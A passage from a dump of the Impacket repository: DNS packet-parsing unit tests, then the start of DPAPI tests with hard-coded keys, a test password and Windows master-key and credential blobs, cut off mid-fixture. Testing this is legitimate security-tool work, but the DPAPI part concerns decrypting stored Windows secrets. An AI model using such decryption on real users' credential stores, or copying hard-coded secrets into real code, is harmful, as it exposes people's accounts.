    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\n\nfrom impacket.dns import DNS\n\n\nclass DNSTests(unittest.TestCase):\n    def test_str(self):\n        def chk(b, t):\n            self.assertEqual(str(DNS(b)), t)\n\n        chk(b\"\\x6a\\x8c\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x77\\x77\\x77\"\n            b\"\\x05\\x74\\x61\\x72\\x74\\x61\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\\x01\",\n            \"DNS QUERY\\n - Transaction ID -- [0x6a8c] 27276\\n\"\n            \" - Flags ----------- [0x0100] 256\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0000] 0\\n\"\n            \" - NsCount --------- [0x0000] 0\\n\"\n            \" - ArCount --------- [0x0000] 0\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: www.tarta.com - Type: A [0x0001] - Class: IN [0x0001]\\n\")\n\n        chk(b\"\\x6a\\x8c\\x81\\x80\\x00\\x01\\x00\\x02\\x00\\x02\\x00\\x00\\x03\\x77\\x77\\x77\"\n            b\"\\x05\\x74\\x61\\x72\\x74\\x61\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\\x01\\xc0\"\n            b\"\\x0c\\x00\\x05\\x00\\x01\\x00\\x00\\x07\\x08\\x00\\x02\\xc0\\x10\\xc0\\x10\\x00\"\n            b\"\\x01\\x00\\x01\\x00\\x00\\x07\\x08\\x00\\x04\\x45\\x59\\x1f\\xc7\\xc0\\x10\\x00\"\n            b\"\\x02\\x00\\x01\\x00\\x02\\xa3\\x00\\x00\\x0f\\x03\\x6e\\x73\\x31\\x08\\x62\\x6c\"\n            b\"\\x75\\x65\\x68\\x6f\\x73\\x74\\xc0\\x16\\xc0\\x10\\x00\\x02\\x00\\x01\\x00\\x02\"\n            b\"\\xa3\\x00\\x00\\x06\\x03\\x6e\\x73\\x32\\xc0\\x4d\",\n            \"DNS RESPONSE\\n\"\n            \" - Transaction ID -- [0x6a8c] 27276\\n\"\n            \" - Flags ----------- [0x8180] 33152\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0002] 2\\n\"\n            \" - NsCount --------- [0x0002] 2\\n\"\n            \" - ArCount --------- [0x0000] 0\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: www.tarta.com - Type: A [0x0001] - Class: IN [0x0001]\\n\"\n            \" - Answers:\\n\"\n            \"  * Domain: www.tarta.com - Type: CNAME [0x0005] - Class: IN [0x0001] - TTL: 1800 seconds - {'Name': 'tarta.com'}\\n\"\n            \"  * Domain: tarta.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1800 seconds - {'IPAddress': '69.89.31.199'}\\n\"\n            \" - Authoritative:\\n\"\n            \"  * Domain: tarta.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 172800 seconds - {'Name': 'ns1.bluehost.com'}\\n\"\n            \"  * Domain: tarta.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 172800 seconds - {'Name': 'ns2.bluehost.com'}\\n\")\n\n        chk(b\"\\x82\\x75\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x77\\x77\\x77\"\n            b\"\\x04\\x6a\\x68\\x6f\\x6e\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\\x01\",\n            \"DNS QUERY\\n\"\n            \" - Transaction ID -- [0x8275] 33397\\n\"\n            \" - Flags ----------- [0x0100] 256\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0000] 0\\n\"\n            \" - NsCount --------- [0x0000] 0\\n\"\n            \" - ArCount --------- [0x0000] 0\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001]\\n\")\n\n        chk(b\"\\x82\\x75\\x81\\x80\\x00\\x01\\x00\\x01\\x00\\x02\\x00\\x02\\x03\\x77\\x77\\x77\"\n            b\"\\x04\\x6a\\x68\\x6f\\x6e\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\"\n            b\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x04\\xd1\\x3b\\xc3\\x14\\xc0\\x10\"\n            b\"\\x00\\x02\\x00\\x01\\x00\\x00\\x06\\xf8\\x00\\x0f\\x03\\x6e\\x73\\x31\\x08\\x74\"\n            b\"\\x72\\x61\\x66\\x66\\x69\\x63\\x7a\\xc0\\x15\\xc0\\x10\\x00\\x02\\x00\\x01\\x00\"\n            b\"\\x00\\x06\\xf8\\x00\\x06\\x03\\x6e\\x73\\x32\\xc0\\x3e\\xc0\\x3a\\x00\\x01\\x00\"\n            b\"\\x01\\x00\\x00\\x00\\x0d\\x00\\x04\\xd1\\x3b\\xc2\\xf6\\xc0\\x55\\x00\\x01\\x00\"\n            b\"\\x01\\x00\\x00\\x00\\x85\\x00\\x04\\xd1\\x3b\\xc3\\xf6\",\n            \"DNS RESPONSE\\n\"\n            \" - Transaction ID -- [0x8275] 33397\\n\"\n            \" - Flags ----------- [0x8180] 33152\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0001] 1\\n\"\n            \" - NsCount --------- [0x0002] 2\\n\"\n            \" - ArCount --------- [0x0002] 2\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001]\\n\"\n            \" - Answers:\\n\"\n            \"  * Domain: www.jhon.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 5 seconds - {'IPAddress': '209.59.195.20'}\\n\"\n            \" - Authoritative:\\n\"\n            \"  * Domain: jhon.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 1784 seconds - {'Name': 'ns1.trafficz.com'}\\n\"\n            \"  * Domain: jhon.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 1784 seconds - {'Name': 'ns2.trafficz.com'}\\n\"\n            \" - Additionals:\\n\"\n            \"  * Domain: ns1.trafficz.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 13 seconds - {'IPAddress': '209.59.194.246'}\\n\"\n            \"  * Domain: ns2.trafficz.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 133 seconds - {'IPAddress': '209.59.195.246'}\\n\")\n\n        chk(b\"\\xef\\x55\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x6d\\x61\\x69\"\n            b\"\\x6c\\x06\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\"\n            b\"\\x01\",\n            \"DNS QUERY\\n\"\n            \" - Transaction ID -- [0xef55] 61269\\n\"\n            \" - Flags ----------- [0x0100] 256\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0000] 0\\n\"\n            \" - NsCount --------- [0x0000] 0\\n\"\n            \" - ArCount --------- [0x0000] 0\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: mail.google.com - Type: A [0x0001] - Class: IN [0x0001]\\n\")\n\n        chk(b\"\\xef\\x55\\x81\\x80\\x00\\x01\\x00\\x04\\x00\\x04\\x00\\x04\\x04\\x6d\\x61\\x69\"\n            b\"\\x6c\\x06\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x03\\x63\\x6f\\x6d\\x00\\x00\\x01\\x00\"\n            b\"\\x01\\xc0\\x0c\\x00\\x05\\x00\\x01\\x00\\x00\\x06\\x79\\x00\\x0f\\x0a\\x67\\x6f\"\n            b\"\\x6f\\x67\\x6c\\x65\\x6d\\x61\\x69\\x6c\\x01\\x6c\\xc0\\x11\\xc0\\x2d\\x00\\x01\"\n            b\"\\x00\\x01\\x00\\x00\\x00\\x77\\x00\\x04\\xd1\\x55\\xc3\\x53\\xc0\\x2d\\x00\\x01\"\n            b\"\\x00\\x01\\x00\\x00\\x00\\x77\\x00\\x04\\xd1\\x55\\xc3\\x12\\xc0\\x2d\\x00\\x01\"\n            b\"\\x00\\x01\\x00\\x00\\x00\\x77\\x00\\x04\\xd1\\x55\\xc3\\x13\\xc0\\x11\\x00\\x02\"\n            b\"\\x00\\x01\\x00\\x00\\x00\\x5d\\x00\\x06\\x03\\x6e\\x73\\x33\\xc0\\x11\\xc0\\x11\"\n            b\"\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x5d\\x00\\x06\\x03\\x6e\\x73\\x34\\xc0\\x11\"\n            b\"\\xc0\\x11\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x5d\\x00\\x06\\x03\\x6e\\x73\\x31\"\n            b\"\\xc0\\x11\\xc0\\x11\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x5d\\x00\\x06\\x03\\x6e\"\n            b\"\\x73\\x32\\xc0\\x11\\xc0\\x9c\\x00\\x01\\x00\\x01\\x00\\x00\\x04\\x4e\\x00\\x04\"\n            b\"\\xd8\\xef\\x20\\x0a\\xc0\\xae\\x00\\x01\\x00\\x01\\x00\\x00\\x06\\x64\\x00\\x04\"\n            b\"\\xd8\\xef\\x22\\x0a\\xc0\\x78\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x04\"\n            b\"\\xd8\\xef\\x24\\x0a\\xc0\\x8a\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x04\"\n            b\"\\xd8\\xef\\x26\\x0a\",\n            \"DNS RESPONSE\\n\"\n            \" - Transaction ID -- [0xef55] 61269\\n\"\n            \" - Flags ----------- [0x8180] 33152\\n\"\n            \" - QdCount --------- [0x0001] 1\\n\"\n            \" - AnCount --------- [0x0004] 4\\n\"\n            \" - NsCount --------- [0x0004] 4\\n\"\n            \" - ArCount --------- [0x0004] 4\\n\"\n            \" - Questions:\\n\"\n            \"  * Domain: mail.google.com - Type: A [0x0001] - Class: IN [0x0001]\\n\"\n            \" - Answers:\\n\"\n            \"  * Domain: mail.google.com - Type: CNAME [0x0005] - Class: IN [0x0001] - TTL: 1657 seconds - {'Name': 'googlemail.l.google.com'}\\n\"\n            \"  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.83'}\\n\"\n            \"  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.18'}\\n\"\n            \"  * Domain: googlemail.l.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 119 seconds - {'IPAddress': '209.85.195.19'}\\n\"\n            \" - Authoritative:\\n\"\n            \"  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns3.google.com'}\\n\"\n            \"  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns4.google.com'}\\n\"\n            \"  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns1.google.com'}\\n\"\n            \"  * Domain: google.com - Type: NS [0x0002] - Class: IN [0x0001] - TTL: 93 seconds - {'Name': 'ns2.google.com'}\\n\"\n            \" - Additionals:\\n\"\n            \"  * Domain: ns1.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1102 seconds - {'IPAddress': '216.239.32.10'}\\n\"\n            \"  * Domain: ns2.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 1636 seconds - {'IPAddress': '216.239.34.10'}\\n\"\n            \"  * Domain: ns3.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 5 seconds - {'IPAddress': '216.239.36.10'}\\n\"\n            \"  * Domain: ns4.google.com - Type: A [0x0001] - Class: IN [0x0001] - TTL: 8 seconds - {'IPAddress': '216.239.38.10'}\\n\")\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/misc/test_dpapi.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   MasterKey\n# Not yet:\n#\nimport os\nimport pytest\nimport unittest\nfrom binascii import unhexlify\n\nfrom impacket.dpapi import (DPAPI_SYSTEM, MasterKeyFile, MasterKey, CredentialFile, DPAPI_BLOB,\n                            CREDENTIAL_BLOB, VAULT_VPOL, VAULT_VPOL_KEYS, VAULT_VCRD, VAULT_KNOWN_SCHEMAS)\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome.Hash import HMAC, MD4, SHA1\n\n\ndef dpapi_protect(blob, entropy=None):\n    \"\"\"Helper function to protect a blob of data using Windows' DPAPI via ctypes.\"\"\"\n\n    if os.name != \"nt\":\n        raise Exception(\"DP API functions are only available in Windows\")\n\n    blob = bytes(blob)\n    entropy = bytes(entropy or b\"\")\n\n    from ctypes import windll, byref, cdll, Structure, POINTER, c_char, c_buffer\n    from ctypes.wintypes import DWORD\n\n    LocalFree = windll.kernel32.LocalFree\n    memcpy = cdll.msvcrt.memcpy\n    CryptProtectData = windll.crypt32.CryptProtectData\n    CRYPTPROTECT_UI_FORBIDDEN = 0x01\n\n    class DATA_BLOB(Structure):\n        _fields_ = [('cbData', DWORD),\n                    ('pbData', POINTER(c_char))\n                    ]\n\n    def parse_data(data):\n        cbData = int(data.cbData)\n        pbData = data.pbData\n        buffer = c_buffer(cbData)\n        memcpy(buffer, pbData, cbData)\n        LocalFree(pbData)\n        return buffer.raw\n\n    buffer_in = c_buffer(blob, len(blob))\n    buffer_entropy = c_buffer(entropy, len(entropy))\n    blob_in = DATA_BLOB(len(blob), buffer_in)\n    blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)\n    blob_out = DATA_BLOB()\n\n    if CryptProtectData(byref(blob_in), None, byref(blob_entropy), None, None,\n                        CRYPTPROTECT_UI_FORBIDDEN, byref(blob_out)):\n        return parse_data(blob_out)\n\n    raise Exception(\"Unable to encrypt blob\")\n\n\nclass DPAPITests(unittest.TestCase):\n\n    machineKey = unhexlify('2bb2109db472825bfa7660fdbed62c981f08587b')\n\n    userKey = unhexlify('458dc597034d8801fc6fe3b342817caabb81a0cb')\n\n    sid = \"S-1-5-21-1455520393-2011455520393-2019809541-4133251990-500\"\n\n    username = \"david.bowie\\x00\"\n    password = \"Admin456\"\n\n    adminMasterKey = unhexlify('4c4a398169cc9ecc6eae0e1a70ba1dc58bfec785c4b35bd1afdf2aeb06753bca0ea3491989cb626990973f8370fd576a46c0ce2a85d995a01af6d727ff41969c')\n\n    adminMasterKeyFile = b'\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003\\x00a\\x004\\x003\\x00a\\x00c\\x007' \\\n                         b'\\x001\\x00-\\x005\\x002\\x00d\\x001\\x00-\\x004\\x00b\\x001\\x005\\x00-\\x008\\x004\\x00c\\x00b' \\\n                         b'\\x00-\\x000\\x001\\x00a\\x005\\x00e\\x007\\x00f\\x000\\x006\\x003\\x005\\x000\\x00\\x00\\x00\\x00' \\\n                         b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00h\\x00\\x00\\x00' \\\n                         b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00t\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x02' \\\n                         b'\\x00\\x00\\x00\\xd7\\x086A\\xa3\\xfc\\x10[\\x87\\x00\\xea\\xd0\\x86S\\x042\\xc0]\\x00\\x00\\t\\x80' \\\n                         b'\\x00\\x00\\x03f\\x00\\x00!\"}/=B\\x08\\xf9Q\\xffW\\xc0\\xa0)\\x16z\\x15l\\x1d\\xe3\\xf9\\x17\\xcd' \\\n                         b'\\x8elf\\x98e\\x9a\\xcc}\\xda\\xb0\\x11\\x7fVWJ\\xd3\\x02\\xael\\x08\\xf4\\xach\\x9c\\xf9\\xbbO' \\\n                         b'\\x13\\x17\\xe1P\\xef\\x99\\xa8^\\xae[8)\\x12\\x86\\xf1B-\\xdb\\x8c\\xaf\\xa5@1\\x90\\xba\\x1e' \\\n                         b'\\xd0E\\x1b\\xd0!C\\xca\\xcc\\xc6h\\x9a6\\xe4B;\\x8cM+\\xd3\\xd6R\\xf5\\xb5~\\xd9\\xc2\\n\\x9d\\x02' \\\n                         b'\\x00\\x00\\x00\\xc2\\x9e\\x93\\xc9\\xd7*\\xd8\\x04\\xcd\\x8d\\xfcUAR\\x01\\x9d\\xc0]\\x00\\x00\\t' \\\n                         b'\\x80\\x00\\x00\\x03f\\x00\\x00\\xc2zU\\xa7\\'\\xc6dj\\xd8\\x93\\xb6\\xac\\xc0KQ\\x8a\\xea+>\\xe0' \\\n                         b'SK@\\x8b\\xcc\\x8e-Ua1\\x92\\x87\\x05\\x12\\x7f\\xe4!\\xe9\\xa2\\x01\\x89\\x91JD$\\x9bS\\xdd\\x02' \\\n                         b'\\xba2%\\xef3\\t\\x19Cu\\x12S\"\\xd8Dr\\xf4k\\x809\\xbc\\xbaEJ\\x02\\x00\\x00\\x00\\x00\\x01\\x00' \\\n                         b'\\x00X\\x00\\x00\\x00\\xe9\\x99\\xde\\xe7\\'K\\xc0D\\xa1\\xbe\\xf3\\xf4=\\xc8\\xa8\\x9f\\x9bQ\\x1d' \\\n                         b'\\x12I\\xfd\\xd6_\\x8f9t\\xc3\\xfe<\\x82\\xa1%\\x80\\x8e\\xaa5&\\xd2\\xa4\\xedW\\x8e\\x17\\x9b\\xe0' \\\n                         b'\\xe5$}\\x13;\\x04\\xea\\xce\\xc2\\xd3(\\xfa\\x8f\\x02\\xcd\\xf2\\xfa=\\xa2\\xf9P\\x07\\xc6pa\\x81' \\\n                         b'\\xd9y\\xb1\\x07Q\\xcf\\xb9\\x160\\x89\\xf8\\xad\\xce\\xc11\\x10O\\x1c\\xfc\\xd5\\xb7.\\xcd\\x83\\xe6' \\\n                         b'\\xb5\\xb5:\\xf4\\xa3(\\xd3\\xc3\\xa3\\x1b\\x1dU\\xec\\xd8Y\\xdb\\xad\\xd58\\x8b\\xf2\\xe3\\xc7\\xd1' \\\n                         b'\\r\\xd5\\x93\\x97\\xd4:r\\x01\\x8e\\xf4b\\x10\\xed\\x14h\\x81\\x9c>\\x9b\\x99\\x1c\\x0f\\xaar\\x05' \\\n                         b'\\xf7f_\\x89e\\xea\\x80j\\xcb\\x92\\xa3\\xc3w\\xc4\\x1a\\xed\\xe9\\xceu\\x05\\x87\\xd2r\\xda\\xa3' \\\n                         b'\\x86\\xd0\\x8a\\x9f\\x81\\xcde\\xaf\\xdc\\x9a\\x86$\\xf7\\xd7Eu\\xc6W\\xdam\\x18\\x8e\\xc7wE4' \\\n                         b'\\x90wx&\\x11/\\xf3Rh\\xf4\\xb4=\\xdd\\xbe\\xa4\\xcbR\\xf9\\xf6\\x15C\\x02\\xc90\\x931\\xefY$' \\\n                         b'\\x9aB\\x94h4\\x04\\t\\xb1Y\\x83N\\xd2\\xd3\\xa6|h\\x04\\xa4*sR\\x9e\\xd2pE\\x1e\\xc0b\">\\xdd\\xc8' \\\n                         b'\\xef\\x9cb\\xf0jVP\\x9aJA\\x9b|\\xdbx\\xdd\\xcbs\\xd4\\xdd\\x95\\x88\\xd4\\x87,LyMf\\x9b\\xdf' \\\n                         b'\\xb7\\xc0\\x0cJ52]\\x8f=\\x8eE\\xe7\\x93u\\xe9\\x18\\xea%\\xd7U\\x17(0\\xe4\\x8c\\xcb\\xe1Q\\xc7' \\\n                         b'\\xfa\\xc3qX/.\\xf0r\\xd2\\x9a\\xb35\\x8e\\x18\\xdb\\x8e\\x81\\xc7x\\xab\\x81\\xbd\\xcf,\\x1c\\xc8x' \\\n                         b'\\x9d\\xf2\\x9c;\\x01xo\\x84\\xfdx\\xb4\\x14G-\\xd3o'\n\n    systemMasterKey = unhexlify('682a9b8923ff4ca7ce0ef7e4cee061f0ff942cd31c7703ec60792740b2e7d0b1b5115d1ff77e10b77e189e0d6e99d5b668190ecd44fa84e82e049f406e2c2a59')\n\n    systemMasterKeyFile = b\"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00e\\x00a\\x009\\x005\\x00e\\x00b\\x00a\\x008\" \\\n                          b\"\\x00-\\x00b\\x00a\\x000\\x000\\x00-\\x004\\x00e\\x001\\x00a\\x00-\\x00b\\x004\\x003\\x00f\\x00-\\x005\" \\\n                          b\"\\x001\\x00e\\x00a\\x003\\x000\\x001\\x007\\x001\\x00d\\x001\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n                          b\"\\x00\\x00\\x06\\x00\\x00\\x00\\xb0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n                          b\"\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\" \\\n                          b\"\\xf4/a\\xea\\x0c\\x96G\\xbf@8\\x19\\x89\\x84R\\x08\\x9f\\xf8C\\x00\\x00\\x0e\\x80\\x00\\x00\\x10f\\x00\" \\\n                          b\"\\x00\\xe2D\\x1d\\xec\\x11\\xa6\\xb6\\xf0?\\xfe\\xbb\\xa1\\xe7\\x14s\\xf7\\x8d\\xa4jR\\xb1,\\xaf\\xf7\" \\\n                          b\"\\xdf\\x99%\\xedj\\xc8\\x9d\\x84\\x05\\n\\xd1\\\\\\xfe\\x88\\xecP\\xec\\xe2\\x01\\xe5\\xa8\\x0e\\xb1\\x98\" \\\n                          b\"\\x90\\x9f\\xf8\\xc7\\x81Q\\x0fx\\x85\\x9b\\x96\\xcf\\xad\\xe43\\xc8:\\x7f?\\xc1\\x99&\\xb0(\\x0ej\\x19n\" \\\n                          b\"\\xf1\\xb0\\xb5\\xe1\\xb3\\xc1\\xabBa \\xdaS\\xf2NY\\x89\\xf8\\xa7\\xd3\\xdd\\xe8j\\xc4D\\x90\\x14\\x01\" \\\n                          b\"\\xa6\\xdfd\\x07\\xf5P\\xd1\\x97\\xff'\\xc9\\x1a\\xbb\\\\3\\x12P\\xb5\\xa7\\xceX\\xc1\\xf6\\x1f\\xd0\\xd6V6\" \\\n                          b\"\\r\\xf5\\x8eo[_\\xaa\\xc69f\\x1a\\xa8\\x94\\x02\\x00\\x00\\x00\\xbd\\xc1\\xf9Y#W5:*>\\xbc\\xf8\\xce\" \\\n                          b\"\\xdcr\\xbb\\xf8C\\x00\\x00\\x0e\\x80\\x00\\x00\\x10f\\x00\\x00\\x121\\xd6~\\xc6\\x89\\xfe\\xa9\\xf6\" \\\n                          b\"\\xdek\\xd6j!\\xe2\\x8dT\\x05#-\\xf7\\x1d\\xea\\xe5\\xbf:\\xb6<l\\xb2\\xca\\xc0\\x8a\\xd1tV\\x97\\x9dr\" \\\n                          b\"\\xb7\\r\\xe1:\\xfc+a\\xd0T4\\x16\\x11\\x91\\xdc\\xdf\\xb2J\\xaa\\xc7\\xed\\x02u\\xf7\\x1e\\xff\\x9f\" \\\n                          b\"\\x93jU\\x9a\\xffK\\xe60\\x1b\\xa9\\x9df\\xbd\\x8e\\x07\\xb1\\xa3%\\xc7<zM\\xa9q\\x17\\xf8\\x05Q\\xa3\" \\\n                          b\"\\xf0\\xa7]\\xa9\\xfc\\xc3|M+\\xb4;Z\\x9e\\xf1hDF\\xae\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\n                          b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    credentialFile = b'\\x01\\x00\\x00\\x00j\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xd0\\x8c\\x9d\\xdf\\x01\\x15' \\\n                     b'\\xd1\\x11\\x8cz\\x00\\xc0O\\xc2\\x97\\xeb\\x01\\x00\\x00\\x00q\\xacC:\\xd1R\\x15K\\x84\\xcb\\x01\\xa5' \\\n                     b'\\xe7\\xf0cP\\x00\\x00\\x00 :\\x00\\x00\\x00E\\x00n\\x00t\\x00e\\x00r\\x00p\\x00r\\x00i\\x00s\\x00e' \\\n                     b'\\x00 \\x00C\\x00r\\x00e\\x00d\\x00e\\x00n\\x00t\\x00i\\x00a\\x00l\\x00 \\x00D\\x00a\\x00t\\x00a\\x00' \\\n                     b'\\r\\x00\\n\\x00\\x00\\x00\\x03f\\x00\\x00\\xc0\\x00\\x00\\x00\\x10\\x00\\x00\\x00X\\x87\\xdb\\xeb\\xc07' \\\n                     b'\\xd8\\xef\\xb5\\xa3\\x9fi##!L\\x00\\x00\\x00\\x00\\x04\\x80\\x00\\x00\\xa0\\x00\\x00\\x00\\x10\\x00\\x00' \\\n                     b'\\x00\\x92\\xbe\\x1f7\\xa5\\x80\\xe5\\x11\\ns\\x08lr\\xec\\xf7\\xfc\\xa8\\x00\\x00\\x00\\x92YL\\xcd4C\\xd8' \\\n                     b'\\xe7[\\xd8D}\\xac\\x9a_\\n\\xdc\\xe7\\xf2\\x9ar\\x84\\x1fC\\x87\\x19\\xb9\\xe8y\\x9c\\x07LD>\\xf3\\xd3' \\\n                     b'\\x97\\x01\\xb0\\xfa\\xf2n\\xa3\\xd9U_\\xd3n\\xd4\\x80\\xa5\\x13\\xb9$\\x13\\xe2\\x02\\x97\\xb0*\\xd6\\xcf' \\\n                     b'\\xa1\\x1e\\x19\\xf1\\x9c\\xea.tq\\xf3\\xb4\\x89*L\\xd2\\xd5\\x91;D7\\xbd\\xf0\\x1eF\\x82\\x13\\xb9e\\x9b' \\\n                     b'\\x9a\\x86w0\\xb2\\xb7b\\x8f\\xb6\\t\\xbe\\xfb>v\\x9f\\x89S\\x10\\xe3\\xe7\\x0f}:\\xd3\\xdd\\xe3B\\x18c' \\\n                     b'\\xf7\\x85j\\xe4\\xfb4=\\x1e\\x18\\x97\\xa1,+i\\xe5\\x8b\\xdfn8\\xc5>\\x9eysQe\\x85\\xfb\\x0b\\x01' \\\n                     b'\\xd8 \\xb2\\x81*\\x8e\\xcd \\xafE\\x9f\\x8c\\xcb\\x97\\x89\\x96\\x97\\xdd\\x14\\x00\\x00\\x00\\xb7\\xe5%' \\\n                     b'\\xfdC*R\\xf9\\rd\\x0b\\x7f\\xf0G\\xe9C\\xf3\\xd3p\\x8c'\n\n    vpolFile = b\"\\x01\\x00\\x00\\x00B\\xc4\\xf4K\\x8a\\x9b\\xa0A\\xb3\\x80\\xddJpM\\xdb( \\x00\\x00\\x00W\\x00e\\x00b\\x00 \" \\\n               b\"\\x00C\\x00r\\x00e\\x00d\\x00e\\x00n\\x00t\\x00i\\x00a\\x00l\\x00s\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\" \\\n               b\"\\x00\\x00\\x01\\x00\\x00\\x00h\\x01\\x00\\x00\\x0b\\xdas\\xdd\\x83\\xfd\\x12G\\xaf\\x8b\\xd1S\\xc7\\x10\\xc6\\xb9\" \\\n               b\"\\x0b\\xdas\\xdd\\x83\\xfd\\x12G\\xaf\\x8b\\xd1S\\xc7\\x10\\xc6\\xb9D\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\xd0\\x8c\" \\\n               b\"\\x9d\\xdf\\x01\\x15\\xd1\\x11\\x8cz\\x00\\xc0O\\xc2\\x97\\xeb\\x01\\x00\\x00\\x00Wc\\xa0\\t\\xf5\\xf3\\xccJ\\x9d\" \\\n               b\"\\x08\\xd8\\x86Z\\xad\\xe4\\xac\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x10f\\x00\\x00\\x00\\x01\\x00\\x00 \\x00\\x00\" \\\n               b\"\\x00\\xe5\\r@\\x973M\\xca\\xdd\\xb1\\xca\\x0cR\\xb6\\xaaO\\xc5C\\x91\\x01\\xd0l\\xd6\\x8f\\xce1\\xaf!\\x17$L!\" \\\n               b\"\\xc8\\x00\\x00\\x00\\x00\\x0e\\x80\\x00\\x00\\x00\\x02\\x00\\x00 \\x00\\x00\\x00\\xd2@h\\x0e\\x8e\\xd9$V\\xa8y\" \\\n               b\"\\xf3\\xbe\\xbd\\x85\\x98\\xb3\\x1b&{\\xed\\xb3xx\\xc6\\xba\\xc9\\x8a\\xc0s\\xd4]\\xeap\\x00\\x00\\x00\\x88}\\x83\" \\\n               b\"\\x18\\xc6\\xc6\\x00\\xbc\\xfe\\xeb\\xc4\\xcb\\xde\\xfei>\\xabo\\xba\\xb8=\\\\\\ns\\xb5\\xdb\\x97\\xb9ln8B\\xd9\" \\\n               b\"\\xc9\\xd4:\\x94\\x9b7|\\x94^\\xda\\x06\\xe3\\xdau\\x0c\\x02\\x0c\\x1bh\\x8b\\xac\\xb8W#\\x08\\x0cm\\xd5T+\" \\\n               b\"\\xc0m!U\\xd7f\\x9aO\\xf1\\xc7\\x8b\\xd1\\x9c\\x8ak._g\\x01P>\\xd3\\xd7'\\xe8j\\xc4\\xe4\\xc7\\xe4f`x\\xffA\" \\\n               b\"\\x93#\\xb5\\x84\\xbc\\x17\\x96\\xa5e\\xa0k\\xd7p\\xfc@\\x00\\x00\\x00\\xde\\xb5&\\xf7jZ\\xac\\x14Z\\xd2\\xb5\" \\\n               